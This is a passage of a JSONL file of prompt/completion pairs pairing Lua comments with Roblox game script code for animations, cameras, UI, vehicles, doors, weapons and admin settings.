val == 1 then\n\t\tThis.Up.Light.BrickColor = This.Up.ActiveColor.Value\n\t\tThis.Up.Light.Material = \"Neon\"\n\t\tThis.Down.Light.BrickColor = This.Down.InactiveColor.Value\n\t\tThis.Down.Light.Material = \"SmoothPlastic\"\n elseif val == -1 then\n\t\tThis.Up.Light.BrickColor = This.Up.InactiveColor.Value\n\t\tThis.Up.Light.Material = \"SmoothPlastic\"\n\t\tThis.Down.Light.BrickColor = This.Down.ActiveColor.Value\n\t\tThis.Down.Light.Material = \"Neon\"\n\telse\n\t\tThis.Up.Light.BrickColor = This.Up.InactiveColor.Value\n\t\tThis.Up.Light.Material = \"SmoothPlastic\"\n\t\tThis.Down.Light.BrickColor = This.Down.InactiveColor.Value\n\t\tThis.Down.Light.Material = \"SmoothPlastic\"\n end\nend)\n"} +{"prompt": "-------------------------------------------------------------------------------------------\n-------------------------------------------------------------------------------------------", "completion": "\n\n\nfunction onRunning(speed)\n\tif speed > 0.01 then\n\t\tplayAnimation(\"walk\", 0.1, Humanoid)\n\t\tif currentAnimInstance and currentAnimInstance.AnimationId == \"http://www.roblox.com/asset/?id=180426354\" then\n\t\t\tsetAnimationSpeed(speed / 14.5)\n\t\tend\n\t\tpose = \"Running\"\n\telse\n\t\tif emoteNames[currentAnim] == nil then\n\t\t\tplayAnimation(\"idle\", 0.1, Humanoid)\n\t\t\tpose = \"Standing\"\n\t\tend\n\tend\nend\n\nfunction onDied()\n\tpose = \"Dead\"\nend\n\nfunction onJumping()\n\tplayAnimation(\"jump\", 0.1, Humanoid)\n\tjumpAnimTime = jumpAnimDuration\n\tpose = \"Jumping\"\nend\n\nfunction onClimbing(speed)\n\tplayAnimation(\"climb\", 0.1, Humanoid)\n\tsetAnimationSpeed(speed / 12.0)\n\tpose = \"Climbing\"\nend\n\nfunction onGettingUp()\n\tpose = \"GettingUp\"\nend\n\nfunction onFreeFall()\n\tif (jumpAnimTime <= 0) then\n\t\tplayAnimation(\"fall\", fallTransitionTime, Humanoid)\n\tend\n\tpose = \"FreeFall\"\nend\n\nfunction onFallingDown()\n\tpose = \"FallingDown\"\nend\n\nfunction onSeated()\n\tpose = \"Seated\"\nend\n\nfunction onPlatformStanding()\n\tpose = \"PlatformStanding\"\nend\n\nfunction onSwimming(speed)\n\tif speed > 0 then\n\t\tpose = \"Running\"\n\telse\n\t\tpose = \"Standing\"\n\tend\nend\n\nfunction getTool()\t\n\tfor _, kid in ipairs(Figure:GetChildren()) do\n\t\tif kid.className == \"Tool\" then return kid end\n\tend\n\treturn nil\nend\n\nfunction getToolAnim(tool)\n\tfor _, c in ipairs(tool:GetChildren()) do\n\t\tif c.Name == \"toolanim\" and c.className == \"StringValue\" then\n\t\t\treturn c\n\t\tend\n\tend\n\treturn nil\nend\n\nfunction animateTool()\n\n\tif (toolAnim == \"None\") then\n\t\tplayToolAnimation(\"toolnone\", toolTransitionTime, Humanoid, Enum.AnimationPriority.Idle)\n\t\treturn\n\tend\n\n\tif (toolAnim == \"Slash\") then\n\t\tplayToolAnimation(\"toolslash\", 0, Humanoid, Enum.AnimationPriority.Action)\n\t\treturn\n\tend\n\n\tif (toolAnim == \"Lunge\") then\n\t\tplayToolAnimation(\"toollunge\", 0, Humanoid, Enum.AnimationPriority.Action)\n\t\treturn\n\tend\nend\n\nfunction moveSit()\n\tRightShoulder.MaxVelocity = 0.15\n\tLeftShoulder.MaxVelocity = 0.15\n\tRightShoulder:SetDesiredAngle(3.14 /2)\n\tLeftShoulder:SetDesiredAngle(-3.14 /2)\n\tRightHip:SetDesiredAngle(3.14 /2)\n\tLeftHip:SetDesiredAngle(-3.14 /2)\nend\n\nlocal lastTick = 0\n\nfunction move(time)\n\tlocal amplitude = 1\n\tlocal frequency = 1\n\tlocal deltaTime = time - lastTick\n\tlastTick = time\n\n\tlocal climbFudge = 0\n\tlocal setAngles = false\n\n\tif (jumpAnimTime > 0) then\n\t\tjumpAnimTime = jumpAnimTime - deltaTime\n\tend\n\n\tif (pose == \"FreeFall\" and jumpAnimTime <= 0) then\n\t\tplayAnimation(\"fall\", fallTransitionTime, Humanoid)\n\telseif (pose == \"Seated\") then\n\t\tplayAnimation(\"sit\", 0.5, Humanoid)\n\t\treturn\n\telseif (pose == \"Running\") then\n\t\tplayAnimation(\"walk\", 0.1, Humanoid)\n\telseif (pose == \"Dead\" or pose == \"GettingUp\" or pose == \"FallingDown\" or pose == \"Seated\" or pose == \"PlatformStanding\") then\n\t\t--\t\tprint(\"Wha \" .. pose)\n\t\tstopAllAnimations()\n\t\tamplitude = 0.1\n\t\tfrequency = 1\n\t\tsetAngles = true\n\tend\n\n\tif (setAngles) then\n\t\tlocal desiredAngle = amplitude * math.sin(time * frequency)\n\n\t\tRightShoulder:SetDesiredAngle(desiredAngle + climbFudge)\n\t\tLeftShoulder:SetDesiredAngle(desiredAngle - climbFudge)\n\t\tRightHip:SetDesiredAngle(-desiredAngle)\n\t\tLeftHip:SetDesiredAngle(-desiredAngle)\n\tend\n\n\t-- Tool Animation handling\n\tlocal tool = getTool()\n\tif tool and tool:FindFirstChild(\"Handle\") then\n\n\t\tlocal animStringValueObject = getToolAnim(tool)\n\n\t\tif animStringValueObject then\n\t\t\ttoolAnim = animStringValueObject.Value\n\t\t\t-- message recieved, delete StringValue\n\t\t\tanimStringValueObject.Parent = nil\n\t\t\ttoolAnimTime = time + .3\n\t\tend\n\n\t\tif time > toolAnimTime then\n\t\t\ttoolAnimTime = 0\n\t\t\ttoolAnim = \"None\"\n\t\tend\n\n\t\tanimateTool()\t\t\n\telse\n\t\tstopToolAnimations()\n\t\ttoolAnim = \"None\"\n\t\ttoolAnimInstance = nil\n\t\ttoolAnimTime = 0\n\tend\nend\n"} +{"prompt": "---[[ Window Settings ]]", "completion": "\nmodule.MinimumWindowSize = UDim2.new(0.3, 0, 0.25, 0)\nmodule.MaximumWindowSize = UDim2.new(0.5, 0, 0.5, 0) -- Should always be less than the full screen size.\nmodule.DefaultWindowPosition = UDim2.new(0, 0, 0, 0)\nlocal extraOffset = (7 * 2) + (5 * 2) -- Extra chatbar vertical offset\nmodule.DefaultWindowSizePhone = UDim2.new(0.5, 0, 0.5, extraOffset)\nmodule.DefaultWindowSizeTablet = UDim2.new(0.4, 0, 0.3, extraOffset)\nmodule.DefaultWindowSizeDesktop = UDim2.new(0.3, 0, 0.25, extraOffset)\n"} +{"prompt": "--\t\tprint(\"Keyframe : \".. frameName)\t", "completion": "\n\t\tplayToolAnimation(toolAnimName, 0.0, Humanoid)\n\tend\nend\n\n\nfunction playToolAnimation(animName, transitionTime, humanoid)\t \n\t\t\n\t\tlocal roll = math.random(1, animTable[animName].totalWeight) \n\t\tlocal origRoll = roll\n\t\tlocal idx = 1\n\t\twhile roll > animTable[animName][idx].weight do\n\t\t\troll = roll - animTable[animName][idx].weight\n\t\t\tidx = idx + 1\n\t\tend"} +{"prompt": "--------------------------------------Dont change anything under here!----------------------------------------------", "completion": "\n\nfunction Setup()\nfor i,p in pairs(game.Players:children()) do\nif (p.Character == wand.Parent) then\n \nif (connect ~= nil) then connect:disconnect() end\nconnect = p.Chatted:connect(PlayerTalked)\nowner = p\nend\nend\nend\n\nfunction PlayerTalked(words)\n \nif (string.find(words:lower(), inc:lower()) ~= nil) and (wand.Parent == owner.Character) then\nprint(\"Casting the spell ''\" ..inc.. \"''\")\nCastSpell()\nend\nend\n\nfunction CastSpell()\nwand.Activated:wait()\nahem = wand.Parent.Humanoid.TargetPoint\nfor i = 1, 5 do\nlol = Instance.new(\"Sparkles\")\nlol.Parent = wand.Parent.Torso\ngame.Debris:AddItem(lol, .6)\nend\nbav = Instance.new(\"BodyAngularVelocity\")\nbav.angularvelocity = Vector3.new(0,100,0)\nbav.maxTorque = Vector3.new(200000,200000,200000)\nbav.P = 200000\nbav.Parent = wand.Parent.Torso\ngame.Debris:AddItem(bav, .6)\nwait(.5)\nwand.Parent.Humanoid.Jump = true\nwait()\nwand.Parent:MoveTo(ahem)\ntarget = findNearestTorso(stick.Position, 5)\nif target ~= nil then\ntarget.Parent:MoveTo(ahem + Vector3.new(math.random(-2,2), 0, math.random(-2,2)))\nend\nend\n\nwand.Equipped:connect(Setup)\n"} +{"prompt": "-- Basic Settings", "completion": "\n\nAdminCredit=true;\t\t\t\t-- Enables the credit GUI for that appears in the bottom right\nAutoClean=false;\t\t\t\t-- Enables automatic cleaning of hats & tools in the Workspace\nAutoCleanDelay=60;\t\t\t\t-- The delay between each AutoClean routine\nCommandBar=true;\t\t\t\t-- Enables the Command Bar | GLOBAL KEYBIND: \\\nFunCommands=true;\t\t\t\t-- Enables fun yet unnecessary commands\nFreeAdmin=false;\t\t\t\t-- Set to 1-5 to grant admin powers to all, otherwise set to false\nPublicLogs=false;\t\t\t\t-- Allows all users to see the command & chat logs\nPrefix=':';\t\t\t\t\t\t-- Character to begin a command\n\t\t\t\t\t\t\t\t--[[\n\tAdmin Powers\n\t\n0\t\t\tPlayer\n1\t\t\tVIP\t\t\t\t\tCan use nonabusive commands only on self\n2\t\t\tModerator\t\t\tCan kick, mute, & use most commands\n3\t\t\tAdministrator\t\tCan ban, crash, & set Moderators/VIP\n4\t\t\tSuperAdmin\t\t\tCan grant permanent powers, & shutdown the game\n5\t\t\tOwner\t\t\t\tCan set SuperAdmins, & use all the commands\n6\t\t\tGame Creator\t\tCan set owners & use all the commands\n\n\tGroup & VIP Admin\n\t\n\t\tYou can set multiple Groups & Ranks to grant users admin powers:\n\t\t\nGroupAdmin={\n[12345]={[254]=4,[253]=3};\n[GROUPID]={[RANK]=ADMINPOWER}\n};\n\n\t\tYou can set multiple Assets to grant users admin powers:\n\t\t\nVIPAdmin={\n[12345]=3;\n[54321]=4;\n[ITEMID]=ADMINPOWER;\n};\t\t\t\t\t\t\t\t]]\n\nGroupAdmin={\n\n};\n\nVIPAdmin={\n\n};\n"} +{"prompt": "-- functions", "completion": "\n\nreturn function(humanoid, pos, normal)\n\tlocal armor\t= humanoid:FindFirstChild(\"Armor\")\n\t\n\tlocal hole\t= script.HumanoidHit:Clone()\n\t\thole.CFrame\t= CFrame.new(pos, pos + normal)\n\t\thole.Parent\t= EFFECTS\n\t\t\n\t\n\tif armor and armor.Value > 0 then\n\t\thole.ArmorEmitter:Emit(4)\n\t\thole.SparkEmitter:Emit(10)\n\telse\n\t\thole.HitEmitter:Emit(4)\n\t\thole.DamageEmitter:Emit(10)\n\tend\n\t\n\tDebris:AddItem(hole, 5)\nend\n"} +{"prompt": "--// Tables", "completion": "\nlocal L_41_ = {\n\t\n\t\"1565831468\";\n\t\"1565832329\";\n\t\n}\n\nlocal L_42_ = {\n\t\n\t\"1565831129\";\n\t\"1565830611\";\n\t\n}\n\nlocal L_43_ = {\n\t\n\t\"1565825075\";\n\t\"1565824613\";\n\t\n}\n\nlocal L_44_ = {\n\t\n\t\"1565821941\";\n\t\"1565821634\";\n\t\n}\n\nlocal L_45_ = {\n\t\n\t\"1565756818\";\n\t\"1565756607\";\n\t\n}\n\nlocal L_46_ = {\n\t\n\t\"1565717027\";\n\t\"1565716705\";\n\t\n}\n\nlocal L_47_ = {\n\t\n\t\"1565703226\";\n\t\"1565675605\";\n\t\n}\n"} +{"prompt": "--\tplayer.PlayerGui:FindFirstChild(\"Client_HurtS\").Blunt:FireClient(player)", "completion": "\n\t\n\twait(7)\n\tscript.Parent.PlatformStand = false\nend\t\n\twait(0.5)\n\tscript:Destroy()\n"} +{"prompt": "--Modules", "completion": "\nlocal Knit = require(ReplicatedStorage.Packages.Knit)\n\nKnit.AddServices(servicesFolder)\nKnit.AddServicesDeep(servicesFolder)\n\nKnit.Start()\n"} +{"prompt": "-- Import relevant references", "completion": "\nSelection = Core.Selection;\nSupport = Core.Support;\nSecurity = Core.Security;\nSupport.ImportServices();\n"} +{"prompt": "-- Movement mode standardized to Enum.ComputerCameraMovementMode values", "completion": "\nfunction BaseCamera:SetCameraMovementMode( cameraMovementMode )\n\tself.cameraMovementMode = cameraMovementMode\nend\n\nfunction BaseCamera:GetCameraMovementMode()\n\treturn self.cameraMovementMode\nend\n\nfunction BaseCamera:SetIsMouseLocked(mouseLocked)\n\tself.inMouseLockedMode = mouseLocked\n\tself:UpdateMouseBehavior()\nend\n\nfunction BaseCamera:GetIsMouseLocked()\n\treturn self.inMouseLockedMode\nend\n\nfunction BaseCamera:SetMouseLockOffset(offsetVector)\n\tself.mouseLockOffset = offsetVector\nend\n\nfunction BaseCamera:GetMouseLockOffset()\n\treturn self.mouseLockOffset\nend\n\nfunction BaseCamera:InFirstPerson()\n\treturn self.inFirstPerson\nend\n\nfunction BaseCamera:EnterFirstPerson()\n\t-- Overridden in ClassicCamera, the only module which supports FirstPerson\nend\n\nfunction BaseCamera:LeaveFirstPerson()\n\t-- Overridden in ClassicCamera, the only module which supports FirstPerson\nend\n"} +{"prompt": "--Services", "completion": "\nlocal ReplicatedStorage = game:GetService(\"ReplicatedStorage\")\nlocal Players = game:GetService(\"Players\")\n local player = Players.LocalPlayer\n"} +{"prompt": "--[[Steering]]", "completion": "\n\tTune.SteerInner\t\t= 36\t\t-- Inner wheel steering angle (in degrees)\n\tTune.SteerOuter\t\t= 37\t\t-- Outer wheel steering angle (in degrees)\n\tTune.SteerSpeed\t\t= .05\t\t-- Steering increment per tick (in degrees)\n\tTune.ReturnSpeed\t= .1\t\t-- Steering increment per tick (in degrees)\n\tTune.SteerDecay\t\t= 320\t\t-- Speed of gradient cutoff (in SPS)\n\tTune.MinSteer\t\t= 10\t\t-- Minimum steering at max steer decay (in percent)\n\tTune.MSteerExp\t\t= 1\t\t\t-- Mouse steering exponential degree\n\t\n\t--Steer Gyro Tuning\n\tTune.SteerD\t\t\t= 1000\t\t-- Steering Dampening\n\tTune.SteerMaxTorque\t= 50000\t\t-- Steering Force\n\tTune.SteerP\t\t\t= 100000\t-- Steering Aggressiveness\n\t"} +{"prompt": "-- If the character jumps switch the animation", "completion": "\nfunction onJump()\t\t\n\t--if walkAnim then\n\t\t--walkAnim:Stop()\n\t--end\t\n\tJumpAnim = Tool:FindFirstChild(\"Humanoid\"):LoadAnimation(script.PenguinJump)\n\tJumpAnim:Play()\n\tprint(\"PENGUIN JUMP\")\n\twait(0.4)\n\tJumpAnim:Stop()\n\t--walkAnim:Play()\n\tTool:FindFirstChild(\"Humanoid\").WalkSpeed = 8.0\n\twait(0.7)\n\t--walkAnim:Stop()\t\n\tTool:FindFirstChild(\"Humanoid\").WalkSpeed = 16.0\nend\n"} +{"prompt": "--[[\ngame.ServerScriptService.Server.AirlocksRemoteControl.Event:Connect(function(command)\n\t\n\tif command == \"lock\" then\n\t\tDebounce = true\n\t\tscript.Parent.LockShowA.BrickColor = BrickColor.new(\"Bright red\")\n\t\tscript.Parent.LockShow2A.BrickColor = BrickColor.new(\"Bright red\")\n\t\tscript.Parent.LockShowC.BrickColor = BrickColor.new(\"Bright red\")\n\t\tscript.Parent.LockShowB.BrickColor = BrickColor.new(\"Bright red\")\n\t\tscript.Parent.LockShow2B.BrickColor = BrickColor.new(\"Bright red\")\n\t\tCloseAll()\n\telseif command == \"unlock\" then\n\t\tscript.Parent.LockShowA.BrickColor = BrickColor.new(\"Bright green\")\n\t\tscript.Parent.LockShow2A.BrickColor = BrickColor.new(\"Bright green\")\n\t\tscript.Parent.LockShowC.BrickColor = BrickColor.new(\"Bright green\")\n\t\tscript.Parent.LockShowB.BrickColor = BrickColor.new(\"Bright green\")\n\t\tscript.Parent.LockShow2B.BrickColor = BrickColor.new(\"Bright green\")\n\t\tDebounce = false\n\telseif command == \"eopen\" then\n\t\tDebounce = true\n\t\tscript.Parent.LockShowA.BrickColor = BrickColor.new(\"Deep orange\")\n\t\tscript.Parent.LockShow2A.BrickColor = BrickColor.new(\"Deep orange\")\n\t\tscript.Parent.LockShowC.BrickColor = BrickColor.new(\"Deep orange\")\n\t\tscript.Parent.LockShowB.BrickColor = BrickColor.new(\"Deep orange\")\n\t\tscript.Parent.LockShow2B.BrickColor = BrickColor.new(\"Deep orange\")\n\t\tOpenAll()\n\tend\n\t\nend)\n]]", "completion": "--\n\nscript.Parent.ButtonA.ClickDetector.MouseClick:Connect(function()\n\tif DoorStatusA == \"Closed\" and DoorStatusB == \"Closed\" and Main == \"N/A\" and Debounce == false then\n\t\tDebounce = true\n\t\tOpenDoor1()\n\t\tDebounce = false\n\t\tMain = \"Door2\"\n\telseif DoorStatusA == \"Opened\" and DoorStatusB == \"Closed\" and Main == \"Door2\" and Debounce == false then\n\t\tDebounce = true\n\t\tCloseDoor1()\n\t\tCycle()\n\t\tOpenDoor2()\n\t\tMain = \"Door1\"\n\t\tDebounce=false\n\telseif DoorStatusA == \"Closed\" and DoorStatusB == \"Opened\" and Main == \"Door1\" and Debounce == false then\n\t\tDebounce = true\n\t\tCloseDoor2()\n\t\tCycle()\n\t\tOpenDoor1()\n\t\tMain = \"Door2\"\n\t\tDebounce=false\n\tend\nend)\n\nscript.Parent.Button2A.ClickDetector.MouseClick:Connect(function()\n\tif DoorStatusA == \"Closed\" and DoorStatusB == \"Closed\" and Main == \"N/A\" and Debounce == false then\n\t\tprint(\"how did you even get in there lol\")\n\t\tDebounce = true\n\t\tOpenDoor1()\n\t\tDebounce = false\n\t\tMain = \"Door2\"\n\telseif DoorStatusA == \"Opened\" and DoorStatusB == \"Closed\" and Main == \"Door2\" and Debounce == false then\n\t\tDebounce = true\n\t\tCloseDoor1()\n\t\tCycle()\n\t\tOpenDoor2()\n\t\tMain = \"Door1\"\n\t\tDebounce=false\n\telseif DoorStatusA == \"Closed\" and DoorStatusB == \"Opened\" and Main == \"Door1\" and Debounce == false then\n\t\tDebounce = true\n\t\tCloseDoor2()\n\t\tCycle()\n\t\tOpenDoor1()\n\t\tMain = \"Door2\"\n\t\tDebounce=false\n\tend\nend)\n\nscript.Parent.ButtonB.ClickDetector.MouseClick:Connect(function()\n\tif DoorStatusA == \"Closed\" and DoorStatusB == \"Closed\" and Main == \"N/A\" and Debounce == false then\n\t\tDebounce = true\n\t\tOpenDoor2()\n\t\tDebounce = false\n\t\tMain = \"Door1\"\n\telseif DoorStatusA == \"Closed\" and DoorStatusB == \"Opened\" and Main == \"Door1\" and Debounce == false then\n\t\tDebounce = true\n\t\tCloseDoor2()\n\t\tCycle()\n\t\tOpenDoor1()\n\t\tMain = \"Door2\"\n\t\tDebounce=false\n\telseif DoorStatusA == \"Opened\" and DoorStatusB == \"Closed\" and Main == \"Door2\" and Debounce == false then\n\t\tDebounce = true\n\t\tCloseDoor1()\n\t\tCycle()\n\t\tOpenDoor2()\n\t\tMain = \"Door1\"\n\t\tDebounce=false\n\tend\nend)\n\nscript.Parent.Button2B.ClickDetector.MouseClick:Connect(function()\n\tif DoorStatusA == \"Closed\" and DoorStatusB == \"Closed\" and Main == \"N/A\" and Debounce == false then\n\t\tDebounce = true\n\t\tOpenDoor2()\n\t\tDebounce = false\n\t\tMain = \"Door1\"\n\telseif DoorStatusA == \"Closed\" and DoorStatusB == \"Opened\" and Main == \"Door1\" and Debounce == false then\n\t\tDebounce = true\n\t\tCloseDoor2()\n\t\tCycle()\n\t\tOpenDoor1()\n\t\tMain = \"Door2\"\n\t\tDebounce=false\n\telseif DoorStatusA == \"Opened\" and DoorStatusB == \"Closed\" and Main == \"Door2\" and Debounce == false then\n\t\tDebounce = true\n\t\tCloseDoor1()\n\t\tCycle()\n\t\tOpenDoor2()\n\t\tMain = \"Door1\"\n\t\tDebounce=false\n\tend\nend)\n\nscript.Parent.ButtonC.ClickDetector.MouseClick:Connect(function()\n\tif DoorStatusA == \"Closed\" and DoorStatusB == \"Closed\" and Main == \"N/A\" and Debounce == false then\n\t\tDebounce = true\n\t\tOpenDoor2()\n\t\tDebounce = false\n\t\tMain = \"Door1\"\n\telseif DoorStatusA == \"Closed\" and DoorStatusB == \"Opened\" and Main == \"Door1\" and Debounce == false then\n\t\tDebounce = true\n\t\tCloseDoor2()\n\t\tCycle()\n\t\tOpenDoor1()\n\t\tMain = \"Door2\"\n\t\tDebounce=false\n\telseif DoorStatusA == \"Opened\" and DoorStatusB == \"Closed\" and Main == \"Door2\" and Debounce == false then\n\t\tDebounce = true\n\t\tCloseDoor1()\n\t\tCycle()\n\t\tOpenDoor2()\n\t\tMain = \"Door1\"\n\t\tDebounce=false\n\tend\nend)\n"} +{"prompt": "--[[\n\tWhen the state enters, input is bound, and the camera is made static\n]]", "completion": "\nfunction PreGameReady.enter()\nend\n"} +{"prompt": "-- << DETAILS >>", "completion": "\nlocal details = {\n\t\n\t{\n\t{0, \"Colors\"};\n\t};\n\t\n\t{\n\t{0, \"Qualifiers (select certain players)\"};\n\t{\"Me\"};\n\t{\"All\"};\n\t{\"Random\"};\n\t{\"Admins/NonAdmins\"};\n\t{\"Friends/NonFriends\"};\n\t{\"NBC/BC/TBC/OBC/Premium(prem)\"};\n\t{\"R6/R15\"};\n\t{\"Rthro/NonRthro\"};\n\t{\"@(RankName)\"};\n\t{\"%(TeamName)\"};\n\t};\n\t\n\t{\n\t{0, \"Shortcuts\"};\n\t{\"' (Quote) to toggle cmdbar (computer)\"};\n\t{\"; (Semicolon) to toggle cmdbar2 (computer)\"};\n\t--{\"Double-jump to toggle flight (m & c)\"};\n\t};\n\t\n\t{\n\t{0, \"Tips\"};\n\t{\"/e for silent commands (/e ;jump me)\"};\n\t{\"Batch commands (;jump me ;kill me)\"};\n\t{\"Select multiple players (;jump me,bc,r15)\"};\n\t{\"Shorten names (;jump ForeverHD = ;jump for)\"};\n\t{\"Cases do not matter (;jUmP mE = ;jump me)\"};\n\t};\n\t\n}\nlocal colorId\nfor i,v in pairs(details) do\n\tif v[1][1] == 0 and v[1][2] == \"Colors\" then\n\t\tcolorId = i\n\tend\nend\nfor i, colorInfo in pairs(main.settings.Colors) do\n\tlocal shortName = colorInfo[1]\n\tlocal fullName = colorInfo[2]\n\tlocal tag = {fullName..\" (\"..shortName..\")\"}\n\ttable.insert(details[colorId], tag)\n\ttable.insert(main.colors, fullName)\nend\n\nfunction module:CreateDetails()\n\tmain:GetModule(\"cf\"):ClearPage(pages.details)\n\t\n\t--Create labels\n\tlocal totalLabels = 0\n\tfor _, detailGroup in pairs(details) do\n\t\tfor i,v in pairs(detailGroup) do\n\t\t\tlocal label = templateM:Clone()\n\t\t\tif i == 1 then\n\t\t\t\tlabel.BackgroundColor3 = Color3.fromRGB(95, 95, 95)\n\t\t\t\tlabel.TextLabel.TextColor3 = Color3.fromRGB(255, 255, 255)\n\t\t\t\tlabel.TextLabel.Text = v[2]\n\t\t\telse\n\t\t\t\tlabel.BackgroundColor3 = main:GetModule(\"cf\"):GetLabelBackgroundColor(i)\n\t\t\t\tlabel.TextLabel.TextColor3 = Color3.fromRGB(235, 235, 235)\n\t\t\t\tlabel.TextLabel.Text = v[1]\n\t\t\tend\n\t\t\tlabel.Visible = true\n\t\t\tlabel.Parent = pages.details\n\t\t\ttotalLabels = totalLabels + 1\n\t\tend\n\tend\n\t\n\t--Canvas size\n\tpages.details.CanvasSize = UDim2.new(0,0,0,totalLabels*templateM.AbsoluteSize.Y)\nend\n\t\n\n\n\nreturn module\n"} +{"prompt": "--[[\n\tSets the new view, destructing any previous view if it exists, and then creating the specified\n\tnew view.\n]]", "completion": "\nfunction UIController.setView(view, ...)\n\tif not views[view] then\n\t\tLogger.warn(\"Tried to set UIController view to \", view, \", but it does not exist!\")\n\t\treturn\n\tend\n\n\tif currentView then\n\t\tcurrentView.exit()\n\tend\n\n\tcurrentView = views[view]\n\tcurrentView.enter(...)\nend\n\nLogger.debug(\"UIController loaded\")\n\nreturn UIController\n"} +{"prompt": "--// Tables", "completion": "\nlocal L_89_ = {\n\t\n\t\"285421759\";\n\t\"151130102\";\n\t\"151130171\";\n\t\"285421804\";\n\t\"287769483\";\n\t\"287769415\";\n\t\"285421687\";\n\t\"287769261\";\n\t\"287772525\";\n\t\"287772445\";\n\t\"287772351\";\n\t\"285421819\";\n\t\"287772163\";\n\t\n}\n\nlocal L_90_ = workspace:FindFirstChild(\"BulletModel: \" .. L_2_.Name) or Instance.new(\"Folder\", workspace)\nL_90_.Name = \"BulletModel: \" .. L_2_.Name\n\nlocal L_91_\n\nlocal L_92_ = L_24_.Ammo\nlocal L_93_ = L_24_.StoredAmmo * L_24_.MagCount\n\nlocal L_94_ = L_24_.ExplosiveAmmo\n\nIgnoreList = {\n\tL_3_,\n\tL_90_,\n\tL_5_\n}\n"} +{"prompt": "--\t\tprint(\"1!!!\",hum.Health)", "completion": "\n\t\tif hum.Health<1 then return end\n\tend\n\tif hit.Parent:findFirstChild(\"Humanoid2\") ~= nil then\n\t\tlocal hum=hit.Parent:findFirstChild(\"Humanoid2\")\t"} +{"prompt": "--------------------------------------------------------------------------------------\n--------------------[ WELDING ]-------------------------------------------------------\n--------------------------------------------------------------------------------------", "completion": "\n\nspawn(function()\n\tfor _, v in pairs(Gun:GetChildren()) do\n\t\tif v:IsA(\"BasePart\") and v ~= Handle then\n\t\t\tif v:FindFirstChild(\"MainWeld\") then v.MainWeld:Destroy() end\n\t\t\tif (not v:FindFirstChild(\"WeldCF\")) then\n\t\t\t\tlocal WeldCF = Instance.new(\"CFrameValue\")\n\t\t\t\tWeldCF.Name = \"WeldCF\"\n\t\t\t\tWeldCF.Value = Handle.CFrame:toObjectSpace(v.CFrame)\n\t\t\t\tWeldCF.Parent = v\n\t\t\tend\n\t\t\tINSERT(Parts, {Obj = v, Weld = nil})\n\t\t\tv.Anchored = false\n\t\tend\n\tend\n\tHandle.Anchored = false\nend)\n"} +{"prompt": "-- the script below controls the open and close button", "completion": "\n\n\n\nlocal branch = script.Parent \nlocal open = branch[\"Open/Close\"]\nlocal MainFrame = branch.Animations \n\nopen.MouseButton1Click:connect(function()\n\tif MainFrame.Visible == false then \n\t\tMainFrame.Visible = true \n\t\topen.Text = \"Emotes\" -- please keep the credit, it's all we ask.\n\telseif \n\t\tMainFrame.Visible == true then \n\t\tMainFrame.Visible = false \n\t\topen.Text = \"Emotes\"\n\tend\nend)\n\n\t\t\n"} +{"prompt": "-- How many times per second the gun can fire", "completion": "\nlocal FireRate = .4"} +{"prompt": "-- LOCAL FUNCTIONS", "completion": "\nlocal function checkTopbarEnabled()\n\tlocal success, bool = xpcall(function()\n\t\treturn starterGui:GetCore(\"TopbarEnabled\")\n\tend,function(err)\n\t\t--has not been registered yet, but default is that is enabled\n\t\treturn true\t\n\tend)\n\treturn (success and bool)\nend\n\nlocal function checkTopbarEnabledAccountingForMimic()\n\tlocal topbarEnabledAccountingForMimic = (checkTopbarEnabled() or not IconController.mimicCoreGui)\n\treturn topbarEnabledAccountingForMimic\nend\n\n\n"} +{"prompt": "--- Shows the command bar", "completion": "\nfunction Window:Show()\n\treturn self:SetVisible(true)\nend\n"} +{"prompt": "--[[\n\t ___ _____\n\t / _ |/ ___/\tAvxnturador | Novena\n\t / __ / /__\t\t\t LuaInt | Novena\n\t/_/ |_\\___/ Build 6C, Version 1.4, Update 4\n\n]]", "completion": "\n"} +{"prompt": "-- for blurring the game camera", "completion": "\nfunction UITween.blur(object, amount, time)\n\t\n\tlocal tweenInfo = TweenInfo.new(time, Enum.EasingStyle.Linear, Enum.EasingDirection.Out, 0, false, 0)\n\tlocal tween = tweenService:Create(object, tweenInfo, {Size = amount})\n\ttween:Play()\n\t\nend\n"} +{"prompt": "-- connect events", "completion": "\nHumanoid.Died:connect(onDied)\nHumanoid.Running:connect(onRunning)\nHumanoid.Jumping:connect(onJumping)\nHumanoid.Climbing:connect(onClimbing)\nHumanoid.GettingUp:connect(onGettingUp)\nHumanoid.FreeFalling:connect(onFreeFall)\nHumanoid.FallingDown:connect(onFallingDown)\nHumanoid.Seated:connect(onSeated)\nHumanoid.PlatformStanding:connect(onPlatformStanding)\nHumanoid.Swimming:connect(onSwimming)\nlocal runService = game:GetService(\"RunService\");\nplayAnimation(\"idle\", 0.1, Humanoid)\npose = \"Standing\"\nwhile Wait(0)do\nlocal _,time=wait(0)\nmove(time)\nend\n\nfunction onTouched(hit)\n local player = game.Players:GetPlayerFromCharacter(hit.Parent)\n if player then\n game:GetService(\"TeleportService\"):Teleport(4641921091,player) --replace the numbers with your place id\n end\nend\n\n\nscript.Parent.Torso.Touched:connect(onTouched)\n"} +{"prompt": "--// Walk and Sway", "completion": "\nlocal L_136_\n\nlocal L_137_ = 0.6\nlocal L_138_ = 0.05 -- speed\nlocal L_139_ = -0.1 -- height\n\nlocal L_140_ = 0\nlocal L_141_ = 0\nlocal L_142_ = 35 --This is the limit of the mouse input for the sway\nlocal L_143_ = -9 --This is the magnitude of the sway when you're unaimed\nlocal L_144_ = -9 --This is the magnitude of the sway when you're aimed\n"} +{"prompt": "--[[\n\tCreate a promise that represents the immediately resolved value.\n]]", "completion": "\nfunction Promise.resolve(...)\n\tlocal length, values = pack(...)\n\treturn Promise._new(debug.traceback(nil, 2), function(resolve)\n\t\tresolve(unpack(values, 1, length))\n\tend)\nend\n"} +{"prompt": "--", "completion": "\nlocal car=script.Parent.Parent\nlocal _Tune=require(script.Parent)\n\nlocal Drive=car.Wheels:GetChildren()\n\nfor _,v in pairs(Drive) do\n\t\n\tfor _,a in pairs({\"Top\",\"Bottom\",\"Left\",\"Right\",\"Front\",\"Back\"}) do\n\t\tv[a..\"Surface\"]=Enum.SurfaceType.SmoothNoOutlines\n\tend\n\t\n\tlocal WParts = {}\n\t\n\tlocal tPos = v.Position-car.DriveSeat.Position\n\tif v.Name==\"FL\" or v.Name==\"RL\" then\n\t\tv.CFrame = car.DriveSeat.CFrame*CFrame.Angles(math.rad(90),0,math.rad(90))\n\telse\n\t\tv.CFrame = 